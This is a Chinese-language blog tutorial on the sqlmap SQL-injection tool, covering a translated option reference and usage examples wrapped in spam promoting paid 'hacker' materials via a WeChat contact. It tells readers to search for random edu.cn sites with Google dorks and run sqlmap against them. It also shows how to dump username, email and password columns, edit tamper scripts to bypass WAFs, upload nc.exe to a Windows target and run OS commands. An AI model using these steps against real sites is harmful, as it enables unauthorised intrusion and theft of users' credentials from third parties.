黑客工具之sqlmap安装使用详解(非常详细)零基础入门到精通,收藏这一篇就够了_sqlmap sql server(1)

先自我介绍一下,小编浙江大学毕业,去过华为、字节跳动等大厂,目前阿里P7

深知大多数程序员,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!

因此收集整理了一份《2024年最新网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
img
img
img
img
img
img

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,涵盖了95%以上网络安全知识点,真正体系化!

由于文件比较多,这里只是将部分目录截图出来,全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频,并且后续会持续更新

如果你需要这些资料,可以添加V获取:vip204888 (备注网络安全)
img

正文

在这些选项中必须提供至少有一个确定目标

 `-d DIRECT    直接连接数据库的连接字符串``   ``-u URL, --url=URL   目标URL (e.g."http://www.site.com/vuln.php?id=1"),使用-u或者--url``   ``-l LOGFILE     从Burp或者WebScarab代理日志文件中分析目标``   ``-x SITEMAPURL  从远程网站地图(sitemap.xml)文件来解析目标``   ``-m BULKFILE      将目标地址保存在文件中,一行为一个URL地址进行批量检测。``   ``-r REQUESTFILE   从文件加载HTTP请求,sqlmap可以从一个文本文件中获取HTTP请求,这样就可以跳过设置一些其他参数(比如cookie,POST数据,等等),请求是HTTPS的时需要配合这个--force-ssl参数来使用,或者可以在Host头后门加上:443``   ``-g GOOGLEDORK     从谷歌中加载结果目标URL(只获取前100个结果,需要挂代理)``   ``-c CONFIGFILE       从配置ini文件中加载选项`

请求

这些选项可以用来指定如何连接到目标URL

–method=METHOD 强制使用给定的HTTP方法(例如put)

 `--data=DATA   通过POST发送数据参数,sqlmap会像检测GET参数一样检测POST的参数。--data="id=1" -f --banner --dbs --users``--param-del=PARA..  当GET或POST的数据需要用其他字符分割测试参数的时候需要用到此参数。``   `   `--cookie=COOKIE     HTTP Cookieheader 值``   `   `--cookie-del=COO..  用来分隔cookie的字符串值``   `   `--load-cookies=L..  Filecontaining cookies in Netscape/wget format``   `   `--drop-set-cookie   IgnoreSet-Cookie header from response``   `   `--user-agent=AGENT  默认情况下sqlmap的HTTP请求头中User-Agent值是:sqlmap/1.0-dev-xxxxxxx(http://sqlmap.org)可以使用--user-agent参数来修改,同时也可以使用--random-agent参数来随机的从./txt/user-agents.txt中获取。当--level参数设定为3或者3以上的时候,会尝试对User-Angent进行注入``   `   `--random-agent     使用random-agent作为HTTP User-Agent头值``   `   `--host=HOST         HTTP Hostheader value``   `   `--referer=REFERER   sqlmap可以在请求中伪造HTTP中的referer,当--level参数设定为3或者3以上的时候会尝试对referer注入``   `   `-H HEADER, --hea..  额外的http头(e.g."X-Forwarded-For: 127.0.0.1")``   `   `--headers=HEADERS  可以通过--headers参数来增加额外的http头(e.g."Accept-Language: fr\nETag: 123")``   `   `--auth-type=AUTH.. HTTP的认证类型 (Basic, Digest, NTLM or PKI)``   `   `--auth-cred=AUTH..  HTTP 认证凭证(name:password)``   `   `--auth-file=AUTH..  HTTP 认证PEM证书/私钥文件;当Web服务器需要客户端证书进行身份验证时,需要提供两个文件:key_file,cert_file,key_file是格式为PEM文件,包含着你的私钥,cert_file是格式为PEM的连接文件。``   `   `--ignore-401        Ignore HTTPError 401 (Unauthorized)忽略HTTP 401错误(未授权的)``   `   `--ignore-proxy      忽略系统的默认代理设置``   `   `--ignore-redirects忽略重定向的尝试``   `   `--ignore-timeouts   忽略连接超时``   `   `--proxy=PROXY       使用代理服务器连接到目标URL``   `   `--proxy-cred=PRO..  代理认证凭证(name:password)``   `   `--proxy-file=PRO..  从文件加载代理列表``   `   `--tor               使用Tor匿名网络``   `   `--tor-port=TORPORT  设置Tor代理端口``   `   `--tor-type=TORTYPE  设置Tor代理类型 (HTTP,SOCKS4 or SOCKS5 (缺省))``   `   `--check-tor       检查Tor的是否正确使用``   `   `--delay=DELAY   可以设定两个HTTP(S)请求间的延迟,设定为0.5的时候是半秒,默认是没有延迟的。``   `   `--timeout=TIMEOUT   可以设定一个HTTP(S)请求超过多久判定为超时,10表示10秒,默认是30秒。``   `   `--retries=RETRIES   当HTTP(S)超时时,可以设定重新尝试连接次数,默认是3次。``   `   `--randomize=RPARAM可以设定某一个参数值在每一次请求中随机的变化,长度和类型会与提供的初始值一样``   `   `--safe-url=SAFEURL  提供一个安全不错误的连接,每隔一段时间都会去访问一下``   `   `--safe-post=SAFE..  提供一个安全不错误的连接,每次测试请求之后都会再访问一遍安全连接。``   `   `--safe-req=SAFER..  从文件中加载安全HTTP请求``   `   `--safe-freq=SAFE..  测试一个给定安全网址的两个访问请求``   `   `--skip-urlencode    跳过URL的有效载荷数据编码``   `   `--csrf-token=CSR..  Parameter usedto hold anti-CSRF token参数用来保存反CSRF令牌``   `   `--csrf-url=CSRFURL  URL地址访问提取anti-CSRF令牌``   `   `--force-ssl         强制使用SSL/HTTPS``   `   `--hpp               使用HTTP参数污染的方法``   `   `--eval=EVALCODE     在有些时候,需要根据某个参数的变化,而修改另个一参数,才能形成正常的请求,这时可以用--eval参数在每次请求时根据所写python代码做完修改后请求。(e.g "import hashlib;id2=hashlib.md5(id).hexdigest()")`

sqlmap.py -u"http://www.target.com/vuln.php?id=1&hash=c4ca4238a0b923820dcc509a6f75849b"–eval=“import hashlib;hash=hashlib.md5(id).hexdigest()”

优化

这些选项可用于优化sqlmap性能

-o               打开所有的优化开关``   ``--predict-output    预测普通查询输出``   ``--keep-alive        使用持久HTTP(S)连接``   ``--null-connection   获取页面长度``   ``--threads=THREADS   当前http(s)最大请求数 (默认 1)

注入

这些选项可用于指定要测试的参数、提供自定义注入有效载荷和可选的篡改脚本

 `-p TESTPARAMETER    可测试的参数``   `   `--skip=SKIP         跳过对给定参数的测试``   `   `--skip-static       跳过测试不显示为动态的参数``   `   `--param-exclude=..  使用正则表达式排除参数进行测试(e.g. "ses")``   `   `--dbms=DBMS         强制后端的DBMS为此值``   `   `--dbms-cred=DBMS..  DBMS认证凭证(user:password)``   `   `--os=OS            强制后端的DBMS操作系统为这个值``   `   `--invalid-bignum    使用大数字使值无效``   `   `--invalid-logical   使用逻辑操作使值无效``   `   `--invalid-string    使用随机字符串使值无效``   `   `--no-cast          关闭有效载荷铸造机制``   `   `--no-escape         关闭字符串逃逸机制``   `   `--prefix=PREFIX     注入payload字符串前缀``   `   `--suffix=SUFFIX     注入payload字符串后缀``   `   `--tamper=TAMPER   使用给定的脚本篡改注入数据`

检测

这些选项可以用来指定在SQL盲注时如何解析和比较HTTP响应页面的内容

 `--level=LEVEL     执行测试的等级(1-5,默认为1)``   `   `--risk=RISK       执行测试的风险(0-3,默认为1)``   `   `--string=STRING    查询时有效时在页面匹配字符串``   `   `--not-string=NOT..  当查询求值为无效时匹配的字符串``   `   `--regexp=REGEXP     查询时有效时在页面匹配正则表达式``   `   `--code=CODE       当查询求值为True时匹配的HTTP代码``   `   `--text-only        仅基于在文本内容比较网页``   `   `--titles           仅根据他们的标题进行比较`

技巧

这些选项可用于调整具体的SQL注入测试

  `--technique=TECH    SQL注入技术测试(默认BEUST)``   `   `--time-sec=TIMESEC  DBMS响应的延迟时间(默认为5秒)``   `   `--union-cols=UCOLS  定列范围用于测试UNION查询注入``   `   `--union-char=UCHAR  暴力猜测列的字符数``   `   `--union-from=UFROM  SQL注入UNION查询使用的格式``   `   `--dns-domain=DNS..  DNS泄露攻击使用的域名``   `   `--second-order=S..  URL搜索产生的结果页面`

指纹
-f, --fingerprint   执行广泛的DBMS版本指纹检查

枚举

这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行自定义的SQL语句

-a, --all           获取所有信息``   `   `-b, --banner        获取数据库管理系统的标识``   `   `--current-user      获取数据库管理系统当前用户``   `   `--current-db        获取数据库管理系统当前数据库``   `    `--hostname         获取数据库服务器的主机名称``   `   `--is-dba            检测DBMS当前用户是否DBA``   `   `--users             枚举数据库管理系统用户``   `   `--passwords         枚举数据库管理系统用户密码哈希``   `   `--privileges        枚举数据库管理系统用户的权限``   `   `--roles            枚举数据库管理系统用户的角色``   `   `--dbs             枚举数据库管理系统数据库``   `   `--tables            枚举的DBMS数据库中的表``   `   `--columns          枚举DBMS数据库表列``   `   `--schema            枚举数据库架构``   `   `--count             检索表的项目数,有时候用户只想获取表中的数据个数而不是具体的内容,那么就可以使用这个参数:sqlmap.py -u url --count -D testdb``   `   `--dump            转储数据库表项``   `    `--dump-all          转储数据库所有表项``   `   `--search           搜索列(S),表(S)和/或数据库名称(S)``   `   `--comments          获取DBMS注释``   `   `-D DB               要进行枚举的指定数据库名``   `   `-T TBL              DBMS数据库表枚举``   `   `-C COL             DBMS数据库表列枚举``   `   `-X EXCLUDECOL     DBMS数据库表不进行枚举``   `   `-U USER           用来进行枚举的数据库用户``   `   `--exclude-sysdbs    枚举表时排除系统数据库``   `   `--pivot-column=P..  Pivot columnname``   `   `--where=DUMPWHERE   Use WHEREcondition while table dumping``   `   `--start=LIMITSTART  获取第一个查询输出数据位置``   `   `--stop=LIMITSTOP   获取最后查询的输出数据``   `   `--first=FIRSTCHAR   第一个查询输出字的字符获取``   `   `--last=LASTCHAR    最后查询的输出字字符获取``   `   `--sql-query=QUERY   要执行的SQL语句``   `   `--sql-shell         提示交互式SQL的shell``   `   `--sql-file=SQLFILE  要执行的SQL文件

暴力

这些选项可以被用来运行暴力检查

 `--common-tables     检查存在共同表``   `   `--common-columns    检查存在共同`

用户自定义函数注入

这些选项可以用来创建用户自定义函数

  `--udf-inject    注入用户自定义函数``   `   `--shared-lib=SHLIB  共享库的本地路径`

访问文件系统

这些选项可以被用来访问后端数据库管理系统的底层文件系统

  `--file-read=RFILE   从后端的数据库管理系统文件系统读取文件,SQL Server2005中读取二进制文件example.exe:``   ``sqlmap.py -u"http://192.168.136.129/sqlmap/mssql/iis/get_str2.asp?name=luther"--file-read "C:/example.exe" -v 1``   `   `--file-write=WFILE  编辑后端的数据库管理系统文件系统上的本地文件``   `   `--file-dest=DFILE   后端的数据库管理系统写入文件的绝对路径`

在kali中将/software/nc.exe文件上传到C:/WINDOWS/Temp下:

python sqlmap.py -u"http://192.168.136.129/sqlmap/mysql/get_int.aspx?id=1" --file-write"/software/nc.exe" --file-dest “C:/WINDOWS/Temp/nc.exe” -v1

操作系统访问

这些选项可以用于访问后端数据库管理系统的底层操作系统

--os-cmd=OSCMD   执行操作系统命令(OSCMD)``   `   `--os-shell          交互式的操作系统的shell``   `   `--os-pwn          获取一个OOB shell,meterpreter或VNC``   `   `--os-smbrelay       一键获取一个OOBshell,meterpreter或VNC``   `   `--os-bof           存储过程缓冲区溢出利用``   `   `--priv-esc          数据库进程用户权限提升``   `   `--msf-path=MSFPATH  MetasploitFramework本地的安装路径``   `   `--tmp-path=TMPPATH  远程临时文件目录的绝对路径

linux查看当前用户命令:

sqlmap.py -u"http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --os-cmd id -v1

Windows注册表访问

这些选项可以被用来访问后端数据库管理系统Windows注册表

 `--reg-read          读一个Windows注册表项值``   `   `--reg-add           写一个Windows注册表项值数据``   `   `--reg-del           删除Windows注册表键值``   `   `--reg-key=REGKEY    Windows注册表键``   `   `--reg-value=REGVAL  Windows注册表项值``   `   `--reg-data=REGDATA  Windows注册表键值数据``   `   `--reg-type=REGTYPE  Windows注册表项值类型`

一般选项

这些选项可以用来设置一些一般的工作参数

 `-s SESSIONFILE     保存和恢复检索会话文件的所有数据``   `   `-t TRAFFICFILE      记录所有HTTP流量到一个文本文件中``   `   `--batch            从不询问用户输入,使用所有默认配置。``   `   `--binary-fields=..  结果字段具有二进制值(e.g."digest")``   `   `--charset=CHARSET   强制字符编码``   `   `--crawl=CRAWLDEPTH  从目标URL爬行网站``   `   `--crawl-exclude=..  正则表达式从爬行页中排除``   `   `--csv-del=CSVDEL    限定使用CSV输出 (default",")``   `   `--dump-format=DU..  转储数据格式(CSV(default), HTML or SQLITE)``   `   `--eta              显示每个输出的预计到达时间``   `   `--flush-session     刷新当前目标的会话文件``   `   `--forms           解析和测试目标URL表单``   `    `--fresh-queries     忽略在会话文件中存储的查询结果``   `   `--hex             使用DBMS Hex函数数据检索``   `   `--output-dir=OUT..  自定义输出目录路径``   `   `--parse-errors      解析和显示响应数据库错误信息``   `   `--save=SAVECONFIG   保存选项到INI配置文件``   `   `--scope=SCOPE    从提供的代理日志中使用正则表达式过滤目标``   `   `--test-filter=TE..  选择测试的有效载荷和/或标题(e.g. ROW)``   `   `--test-skip=TEST..  跳过试验载荷和/或标题(e.g.BENCHMARK)``   `   `--update            更新sqlmap`

其他
  `-z MNEMONICS        使用短记忆法 (e.g."flu,bat,ban,tec=EU")``   `   `--alert=ALERT       发现SQL注入时,运行主机操作系统命令``   `   `--answers=ANSWERS   当希望sqlmap提出输入时,自动输入自己想要的答案(e.g. "quit=N,follow=N"),例如:sqlmap.py -u"http://192.168.22.128/get_int.php?id=1"--technique=E--answers="extending=N" --batch``   `   `--beep    发现sql注入时,发出蜂鸣声。``   `   `--cleanup     清除sqlmap注入时在DBMS中产生的udf与表。``   `   `--dependencies      Check formissing (non-core) sqlmap dependencies``   `   `--disable-coloring  默认彩色输出,禁掉彩色输出。``   `   `--gpage=GOOGLEPAGE 使用前100个URL地址作为注入测试,结合此选项,可以指定页面的URL测试``   `   `--identify-waf      进行WAF/IPS/IDS保护测试,目前大约支持30种产品的识别``   `   `--mobile     有时服务端只接收移动端的访问,此时可以设定一个手机的User-Agent来模仿手机登陆。``   `   `--offline           Work inoffline mode (only use session data)``   `   `--purge-output     从输出目录安全删除所有内容,有时需要删除结果文件,而不被恢复,可以使用此参数,原有文件将会被随机的一些文件覆盖。``   `   `--skip-waf           跳过WAF/IPS / IDS启发式检测保护``   `   `--smart            进行积极的启发式测试,快速判断为注入的报错点进行注入``   `   `--sqlmap-shell      互动提示一个sqlmapshell``   `   `--tmp-dir=TMPDIR    用于存储临时文件的本地目录``   `   `--web-root=WEBROOT  Web服务器的文档根目录(e.g."/var/www")``   `   `--wizard   新手用户简单的向导使用,可以一步一步教你如何输入针对目标注入`

三、实际利用

检测和利用SQL注入

1.手工判断是否存在漏洞

对动态网页进行安全审计,通过接受动态用户提供的GET、POST、Cookie参数值、User-Agent请求头。

原始网页:http://192.168.136.131/sqlmap/mysql/get_int.php?id=1

构造url1:http://192.168.136.131/sqlmap/mysql/get_int.php?id=1+AND+1=1

构造url2:http://192.168.136.131/sqlmap/mysql/get_int.php?id=1+AND+1=2

如果url1访问结果跟原始网页一致,而url2跟原始网页不一致,有出错信息或者显示内容不一致,则证明存在SQL注入。

  1. sqlmap自动检测

检测语法:sqlmap.py -u http://192.168.136.131/sqlmap/mysql/get_int.php?id=1

技巧:在实际检测过程中,sqlmap会不停的询问,需要手工输入Y/N来进行下一步操作,可以使用参数“–batch”命令来自动答复和判断。

  1. 寻找和判断实例

通过百度对“inurl:news.asp?id=site:edu.cn”、“inurl:news.php?id= site:edu.cn”、“inurl:news.aspx?id=site:edu.cn”进行搜索,搜索news.php/asp/aspx,站点为edu.cn,如图1所示。随机打开一个网页搜索结果,如图所示,如果能够正常访问,则复制该URL地址

搜索目标

测试网页能否正常访问

将该url使用sqlmap进行注入测试,如图3所示,测试结果可能存在SQL注入,也可能不存在SQL注入,存在则可以进行数据库名称,数据库表以及数据的操作。本例中是不存在SQL注入漏洞

检测URL地址是否存在漏洞

  1. 批量检测

将目标url搜集并整理为txt文件,如图4所示,所有文件都保存为tg.txt,然后使用“sqlmap.py-m tg.txt”,注意tg.txt跟sqlmap在同一个目录下

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

批量整理目标地址

直接连接数据库

sqlmap.py -d"mysql://admin:admin@192.168.21.17:3306/testdb" -f --banner --dbs--users

数据库相关操作

1.列数据库信息:–dbs

2.web当前使用的数据库–current-db

3.web数据库使用账户–current-user

4.列出sqlserver所有用户 --users

5.数据库账户与密码 --passwords

6.指定库名列出所有表 -D database --tables

-D:指定数据库名称

7.指定库名表名列出所有字段 -D antian365-T admin --columns

-T:指定要列出字段的表

8.指定库名表名字段dump出指定字段

-D secbang_com -T admin -C id,password ,username --dump

-D antian365 -T userb -C"email,Username,userpassword" --dump

可加双引号,也可不加双引号。

9.导出多少条数据

-D tourdata -T userb -C"email,Username,userpassword" --start 1 --stop 10 --dump

参数:

–start:指定开始的行

–stop:指定结束的行

此条命令的含义为:导出数据库tourdata中的表userb中的字段(email,Username,userpassword)中的第1到第10行的数据内容


四、SQLMAP实用技巧

1. mysql的注释方法进行绕过WAF进行SQL注入

(1)修改C:\Python27\sqlmap\tamper\halfversionedmorekeywords.py

return match.group().replace(word,“/*!0%s” % word) 为:

return match.group().replace(word,“/*!50000%s*/” % word)

(2)修改C:\Python27\sqlmap\xml\queries.xml

为:

<castquery=“convert(%s,CHAR)”/>

(3)使用sqlmap进行注入测试

sqlmap.py -u"http://**.com/detail.php? id=16" –tamper “halfversionedmorekeywords.py”

其它绕过waf脚本方法:

sqlmap.py-u “http://192.168.136.131/sqlmap/mysql/get_int.php?id=1” --tampertamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3

(4)tamper目录下文件具体含义:

space2comment.py用/**/代替空格``   ``apostrophemask.py用utf8代替引号``   ``equaltolike.pylike代替等号``   ``space2dash.py 绕过过滤‘=’ 替换空格字符(”),(’–‘)后跟一个破折号注释,一个随机字符串和一个新行(’n’)``   ``greatest.py 绕过过滤’>’ ,用GREATEST替换大于号。``   ``space2hash.py空格替换为#号,随机字符串以及换行符``   ``apostrophenullencode.py绕过过滤双引号,替换字符和双引号。``   ``halfversionedmorekeywords.py当数据库为mysql时绕过防火墙,每个关键字之前添加mysql版本评论``   ``space2morehash.py空格替换为 #号 以及更多随机字符串 换行符``   ``appendnullbyte.py在有效负荷结束位置加载零字节字符编码``   ``ifnull2ifisnull.py 绕过对IFNULL过滤,替换类似’IFNULL(A,B)’为’IF(ISNULL(A), B, A)’``   ``space2mssqlblank.py(mssql)空格替换为其它空符号``   ``base64encode.py 用base64编码替换``   ``space2mssqlhash.py 替换空格``   ``modsecurityversioned.py过滤空格,包含完整的查询版本注释``   ``space2mysqlblank.py 空格替换其它空白符号(mysql)``   ``between.py用between替换大于号(>)``   ``space2mysqldash.py替换空格字符(”)(’ – ‘)后跟一个破折号注释一个新行(’ n’)``   ``multiplespaces.py围绕SQL关键字添加多个空格``   ``space2plus.py用+替换空格``   ``bluecoat.py代替空格字符后与一个有效的随机空白字符的SQL语句,然后替换=为like``   ``nonrecursivereplacement.py双重查询语句,取代SQL关键字``   ``space2randomblank.py代替空格字符(“”)从一个随机的空白字符可选字符的有效集``   ``sp_password.py追加sp_password’从DBMS日志的自动模糊处理的有效载荷的末尾``   ``chardoubleencode.py双url编码(不处理以编码的)``   ``unionalltounion.py替换UNION ALLSELECT UNION SELECT``   ``charencode.py url编码``   ``randomcase.py随机大小写``   ``unmagicquotes.py宽字符绕过 GPCaddslashes``   ``randomcomments.py用/**/分割sql关键字``   ``charunicodeencode.py字符串 unicode 编码``   ``securesphere.py追加特制的字符串``   ``versionedmorekeywords.py注释绕过``   ``space2comment.py替换空格字符串(‘‘) 使用注释‘/**/’``   ``halfversionedmorekeywords.py关键字前加注释

2. URL重写SQL注入测试

value1为测试参数,加“*”即可,sqlmap将会测试value1的位置是否可注入。

sqlmap.py -u"http://targeturl/param1/value1*/param2/value2/"

3. 列举并破解密码哈希值

当前用户有权限读取包含用户密码的权限时,sqlmap会现列举出用户,然后列出hash,并尝试破解。

sqlmap.py -u"http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --passwords -v1

4. 获取表中的数据个数

sqlmap.py -u"http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1" --count -Dtestdb

5.对网站secbang.com进行漏洞爬去

sqlmap.py -u “http://www.secbang.com”–batch --crawl=3

给大家的福利

零基础入门

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

同时每个成长路线对应的板块都有配套的视频提供:

在这里插入图片描述

因篇幅有限,仅展示部分资料

网络安全面试题

绿盟护网行动

还有大家最喜欢的黑客技术

网络安全源码合集+工具包

所有资料共282G,朋友们如果有需要全套《网络安全入门+黑客进阶学习资源包》,可以扫描下方二维码领取(如遇扫码问题,可以在评论区留言领取哦)~

网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。

需要这份系统化的资料的朋友,可以添加V获取:vip204888 (备注网络安全)
img

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

所有资料共282G,朋友们如果有需要全套《网络安全入门+黑客进阶学习资源包》,可以扫描下方二维码领取(如遇扫码问题,可以在评论区留言领取哦)~

网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。

需要这份系统化的资料的朋友,可以添加V获取:vip204888 (备注网络安全)
[外链图片转存中…(img-aLEK9aeu-1713667656706)]

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

  • 5
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值